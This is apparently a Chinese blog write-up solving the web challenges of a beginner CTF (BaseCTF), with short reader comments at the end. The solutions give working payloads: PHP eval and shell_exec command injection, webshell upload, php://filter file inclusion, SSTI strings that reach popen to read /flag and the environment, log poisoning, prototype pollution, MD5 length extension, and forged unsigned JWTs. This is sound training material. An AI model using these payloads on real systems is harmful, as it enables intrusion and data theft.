A Dark Room
出题: Kengwang
难度: 入门
文字游戏 玩得开心!

玩了1分钟文字游戏才想起来看源代码,flag就在源代码注释当中

喵喵喵´•ﻌ•`
出题: Delete
难度: 入门
小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习.....
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['DT'];
eval($a);
?>
传参DT
eval函数可以执行命令
?DT=echo exec('cat /flag');得到flag
md5绕过欸
出题: ClearWine
难度: 入门
绕哇绕哇绕
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}
}
else {
echo '没看到参数呐';
}
?> 没看到参数呐
分析代码;
需要用GET方式传入参数name和name2
POST方式传入参数password和password2
name和password不能相等,name2和password2不能相等
并且弱比较他们之间的md5值,如果相等则输出flag
解题:
name和name2可以使用0e绕过
password和password2可以使用数组绕过

HTTP 是什么呀
出题: Kengwang
难度: 入门
成为嘿客的第一步!当然是 HTTP 啦!
可以多使用搜索引擎搜索每个参数的含义以及传参方式
看看你是怎么到达最后一个页面的,中途是不是经过了什么?
这一串乱码是什么呀。等下,比赛好像叫做 BaseCTF?

和校赛差不多

upload
出题: Kengwang
难度: 入门
快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?

直接点击上传的话会显示源代码
<?php
error_reporting(0);
if (isset($_FILES['file'])) {
highlight_file(__FILE__);
$file = $_FILES['file'];
$filename = $file['name'];
$filetype = $file['type'];
$filesize = $file['size'];
$filetmp = $file['tmp_name'];
$fileerror = $file['error'];
if ($fileerror === 0) {
$destination = 'uploads/' . $filename;
move_uploaded_file($filetmp, $destination);
echo 'File uploaded successfully';
} else {
echo 'Error uploading file';
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传你喜欢的图片吧!</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">上传!</button>
</form>
<?php
$files = scandir('uploads');
foreach ($files as $file) {
if ($file === '.' || $file === '..') {
continue;
}
echo "<img src='uploads/$file' style=\"max-height: 200px;\" />";
}
?>
</body>
</html> Error uploading file
上传一个空白测试图片试试

访问/uploads/test.jpg可以直接看见上传的图片
再试试上传一句话

没有过滤,可以开始执行命令

Aura 酱的礼物
出题: Kengwang
难度: 简单
你好呀, Aura 酱,这是给你的礼物哦~ 快打开看看里面是什么吧!
Aura 的博客似乎没有留言区?但是真的要去 Aura 的博客里面找吗?可以换个地方找吗?
哪里有感谢的一句话呢?远在天边,似乎就在眼前,就决定是他了吧!
为什么 Flag 是空的?不对劲,base64 一下再看看?
推荐搜索关键词: 伪协议,SSRF
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}
// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}
$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦~');
}
// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift); 这是 Aura 的礼物,你不是 Aura!
总共三个判断,同时满足就显示flag
第一部分
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}
- 使用
POST传参pen file_get_contents()是PHP中用于将文件内容读入字符串的函数。这个函数非常适合于读取文件数据,因为它可以一次性读取整个文件,并且支持对HTTP请求进行处理。
也就是说这是在判断读取pen的内容是否为Aura
使用伪协议
data://text/plain,Aura
第一部分通过
第二部分
// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}
$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦~');
}
- 使用
POST传参challenge <font style="color:crimson;background-color:rgba(222, 222, 222, 0.3);">strpos()</font>函数查找字符串在另一字符串中第一次出现的位置。<font style="color:crimson;background-color:rgba(222, 222, 222, 0.3);">strpos()</font>函数对大小写敏感。
例如:
<!DOCTYPE html>
<html>
<body>
<?php
echo strpos("I love php, I love php too!","php");
?>
</body>
</html>
这个代码执行之后会输出7
回到题目,也就是说要在第0位出现[http://jasmineaura.github.io](http://jasmineaura.github.io')才能够通过
那个博客没有留言板 也没有任何隐藏信息
所以我们利用解析原理 可以构造一个[http://jasmineaura.github.io@127.0.0.1](http://jasmineaura.github.io@127.0.0.1)这样网站会自动访问后面的网址
data://text/plain,Aura&challenge=[http://jasmineaura.github.io@127.0.0.1](http://jasmineaura.github.io@127.0.0.1)
第二关通过
第三部分
// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);
任意文件包含
可以采用伪协议编码成base64进行输出

data://text/plain,Aura&challenge=[http://jasmineaura.github.io@127.0.0.1](http://jasmineaura.github.io@127.0.0.1)&gift=php://filter/convert.base64-encode/resource=flag.php
解码后得到flag
ez_ser
出题: Delete
难度: 入门
简单的反序列化入门,喵喵喵
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>
一起吃豆豆
出题: Goku
难度: 简单
大家都爱玩的JS小游戏

吃豆人小游戏,看看JS逻辑
在这里发现一串base64,解密后得到flag

你听不到我的声音
出题: Kengwang
难度: 简单
我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);
POST传入参数cmd
shell_exec表示这是无回显的rce
将命令执行结果写入文件即可
POST:``cmd=ls / > 1.txt
访问1.txt

同理将payload修改为cat /flag得到flag
RCEisamazingwithspace
出题: Kengwang
难度: 简单
RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
// execute the command
system($cmd);
POST传参cmd- 过滤空格
POST:``cmd=ls可用,回显

POST:``cmd=ls /不可用,回显<font style="color:rgb(221, 0, 0);">Space not allowed in command</font>
在系统命令当中$IFS表示空
可以利用这个来执行命令
POST:``cmd=ls$IFS$1/或者
POST:``cmd=ls$IFS/
都可用,回显

读取flag
POST:``cmd=cat$IFS$1/flag得到flag
所以你说你懂 MD5?
出题: Kengwang
难度: 中等
所以你说你懂 MD5?
可以了解一下 MD5 长度拓展攻击
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 加强难度就不会了?
第一部分
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
POST传参apple和banana- 强比较两个参数的md5值
使用数组绕过
POST:``apple[]=1&banana[]=2
返回
<font style="color:rgb(0, 0, 0);">难吗?不难!</font>
成功绕过第一部分
第二部分
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
POST传参appple``bananana- 将参数转化为
string(字符串格式)再进行弱比较md5
使用0e绕过
appple=QNKCDZO&bananana=240610708为特殊值
payload:
apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708
返回
<font style="color:rgb(0, 0, 0);">嘻嘻, 不会了? 没看直播回放?</font>
成功绕过第二部分
第三部分
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
- 严格比较
有两组完全相同md5值的字符串:
TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
payload:
apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708&apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
返回<font style="color:rgb(0, 0, 0);">129d7904e2693024a953ed9187888ec6</font>
<font style="color:rgb(0, 0, 0);">不是管理员也来凑热闹?</font>
成功绕过第三部分
第四部分
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
- md5长度拓展攻击
- 题目使用三个随机16位字符串,转16进制后得到一个96位的字符串,作为random
- 附加admin结尾
跟着网上的教程使用hashpump工具

name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=5650ccd5e941b725f86ddc48f9ea5e10
拼接在一起得到flag
数学大师
出题: Kengwang
难度: 中等
Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?
每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整
本题依赖 session,请在请求时开启 session cookie
题目如下

需要用正则来筛选数据,脚本如下
import requests
import re
req = requests.session()
url = "http://challenge.imxbt.cn:31035/"
answer = 0
while True:
response = req.post(url , data={"answer": answer})
print(response.text)
if "BaseCTF" in response.text:
print(response.text)
break
regex = r" (\d*?)(.)(\d*)\?"
match = re.search(regex, response.text)
if match.group(2) == "+":
answer = int(match.group(1)) + int(match.group(3))
elif match.group(2) == "-":
answer = int(match.group(1)) - int(match.group(3))
elif match.group(2) == "×":
answer = int(match.group(1)) * int(match.group(3))
elif match.group(2) == "÷":
answer = int(match.group(1)) // int(match.group(3))

复读机
出题: 晨曦
难度: 简单
一位复读机发明了一个复读机来复读flag
题目长这样

随便输入一串flag会将自己输入的内容显示一遍,而且格式必须为BaseCTF{xxxx}


联想到模板注入(SSTI)
测试{{7*7}}但是被过滤,说明确实存在注入点

经过测试过滤了以下字符
+ - * / . {{ }} __ : " \
后来发现单引号''可以绕过,将关键字用单引号框柱
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137])%}
可以返回

继续利用这个类下面的popen函数
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('pwd')['rea''d']())%}

查看环境变量
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('env')['rea''d']())%}

可以看到有一个OLDPWD=/的目录,利用它来返回根目录读取flag
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

滤个不停
出题: Datch
难度: 中等
过滤这么多还怎么玩!等等....不对劲
<?php
highlight_file(__FILE__);
error_reporting(0);
$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];
if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}
//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;
foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}
if ($is_valid) {
$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];
foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}
include($Datch);
} else {
die('文件名不合规 请重试');
}
?>
总共有三个判断
第一部分
$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];
if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}
POST传入参数incompetent判断是否为HelloWorld
HackBar直接传就行
incompetent=HelloWorld
第二部分
//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;
foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}
- 要求
Datch里面有这些's', 'e', 'v', 'a', 'n', 'x', 'r', 'o'字符
strpos()可以使用数组形式绕过
incompetent=HelloWorld&Datch[]=1
第三部分
if ($is_valid) {
$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];
foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}
include($Datch);
} else {
die('文件名不合规 请重试');
}
换一条路,既然服务器为nginx,这几个's', 'e', 'v', 'a', 'n', 'x', 'r', 'o'字符指引着要读取日志


可以访问日志,联想到日志注入,在ua写入命令即可

ez_php_jail
出题:Delete 难度:中等
DT最怕坐牢了...但是包吃包住啊!
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];
if($Jail == null) die("Do You Like My Jail?");
function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}
if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";
// 在HTML解析后再输出PHP源代码
?>
GET传参Jail_by.Happy- php版本小于8时,
.会被转为_但是如果参数名中有[,这个[会被直接转为_但是后⾯如果有.这个.就不会被转为_所以把参数名改为Jail[by.Happy - 过滤了
/(|$|a|c|s|require|include)/i`这些字符
查看源代码

base64解码之后得到ph0_info_Like_jail.php
要查看这个php文件的内容,需要用highlight_file语法高亮来显示
过滤了很多字符但是没有过滤通配符*
可以使用glob()匹配字符,然后取索引为0的内容返回
Payload
?Jail[by.Happy=highlight_file(glob('/f*')[0]);
圣钥之战1.0
出题: J1ngHong
难度: 中等
J1ngHong大魔王不会让你污染圣钥的!

访问一下/read
J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()
@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
原型链污染,修改全局变量的值为环境变量,访问全局变量得到环境变量里的payload,把__file__的路由改为/flag就可以读到flag
先传参pollute
POST json类型传参:``{"__init__" : {"__globals__" : {"__file__":"/flag"}}}
返回
<font style="color:rgb(0, 0, 0);">J1ngHong说:圣钥暗淡了一点,你居然污染成功了?</font>
再访问<font style="color:rgb(0, 0, 0);">/read</font>得到flag
J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
什么?你居然污染到圣钥了?不!不!不!
BaseCTF{7dfdf5a9-48b6-4d2f-91ad-3dd769079cac}
flag直接读取不就行了?
出题: J1ngHong
难度: 简单
你应该能找到flag吧?
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>
使用DirectoryIterator遍历文件
?K=DirectoryIterator&W=/secret
返回<font style="color:rgb(0, 0, 0);">f11444g.php</font>
然后使用<font style="color:rgb(0, 0, 0);">SplFileObject</font>来读取这个文件
<font style="color:rgb(0, 0, 0);">K=SplFileObject&W=/secret/f11444g.php</font>
flag在源代码当中,查看即可
No JWT
出题: Kengwang
难度: 入门
没有 JWT!
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string
app = Flask(__name__)
# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')
# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200
# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')
if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403
except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401
if __name__ == '__main__':
app.run(debug=True)
在这一部分有一个漏洞
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
<font style="color:rgb(0, 0, 0);">verify_signature: False</font>JWT 签名验证被禁用<font style="color:rgb(0, 0, 0);">verify_exp: False</font>令牌过期时间验证被禁用- 可以伪造任意 JWT 令牌,将 role 设置为 admin 来获取 flag
先用curl发送一次普通用户请求,直接在浏览器访问看不见
curl -X POST http://challenge.imxbt.cn:32622/login -H "Content-Type: applicatio
n/json" -d '{"username":"test","password":"test"}'
得到以下内容
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0Iiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjQzMjE0MTV9.mnRfOeoGv_XpLThSXI4rWhhno9P7YHKnNnTgT1hL7O0"}
将token解码之后得到
{"alg":"HS256","typ":"JWT"}{"sub":"test","role":"user","exp":1764321415}mnRfOeoGv_XpLThSXI4rWhhno9P7YHKnNnTgT1hL7O0
现在修改一下将role改为admin
得到新的token
Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTk5OTk5OTk5OX0.
将修改后的token放入Authorization头当中,然后访问/flag得到flag
curl -X GET http://challenge.imxbt.cn:32622/flag \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTk5OTk5OTk5OX0."
Back to the future
出题: Kengwang
难度: 简单
本题理论不需要扫描器


题目让我寻找一些东西,先查看一下robots.txt

有一个git页面,可能是git泄露
使用Git_Extract-master这个工具试试

有一个flag.txt,打开就是flag
Jinja Mark
出题: J1ngHong
难度: 中等
ssti注入只会用带花括号的payload?逊诶

按照要求进入/flag

按照要求用POST方式提交参数
用yakit爆破一下

最后筛选出来一个响应长度不一样的包,这个包给了一些源码


BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"
- 定义了黑名单
{} - 在
/magic可以原型链污染
将全局变量黑名单修改为[]
import requests
import json
# 目标URL
url = "http://challenge.imxbt.cn:30327/magic"
# 构造包含特殊键的 JSON 数据
payload = {
"__class__":{
"__init__":{
"__globals__":{
"BLACKLIST_IN_index" : []
}
}
}
}
# 将 JSON 数据转换为字符串
payload_json = json.dumps(payload)
print(payload_json)
# 发送 POST 请求
response = requests.post(url, data=payload_json, headers={'Content-Type': 'application/json'})
# 打印响应内容
print("Status Code:", response.status_code)
print("Response Content:", response.text)
返回结果
{"__class__": {"__init__": {"__globals__": {"BLACKLIST_IN_index": []}}}}
Status Code: 200
Response Content: 这个魔术还行吧
现在再到/index可以无过滤地进行SSTI
读取flag
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

1z_php
出题: J1ngHong
难度: 中等
php没有难题(Kengwang和晨曦出的除外)
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";
if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>
第一部分
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
}
- php8以前,如果参数名当中出现
[会被转化为_和其他题一样的方法传参的时候用e[m.p - 八进制绕过
114514即0337602
解决方法:
/?e[m.p=0337602
第二部分
if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}
- 禁止
HACKER前面有字符 - 要求
HACKER不在开头位置
可以利用PCRE回溯限制

# 触发PCRE回溯限制(默认100万次)
data = {'try': 'A' * 1000000 + 'HACKER'}
第三部分
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
- php原生方法当中可以用
SplFileObject类读取文件 base64编码读取文件内容fgets方法读取内容
#传参内容
a=SplFileObject
b=php://filter/read=convert.base64-encode/resource=flag.php
c=fgets
脚本
import requests
res = requests.post("http://challenge.imxbt.cn:30581/?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString",data = {"try":"-"*1000001+"HACKER"})
print(res.text)

解码过后就是flag
Comments 3 条评论
致敬传奇web糕手madao
好厉害喵~~
ε=ε=(ノ≧∇≦)ノ@mio mio也很厉害喵`(°∀°)ノ`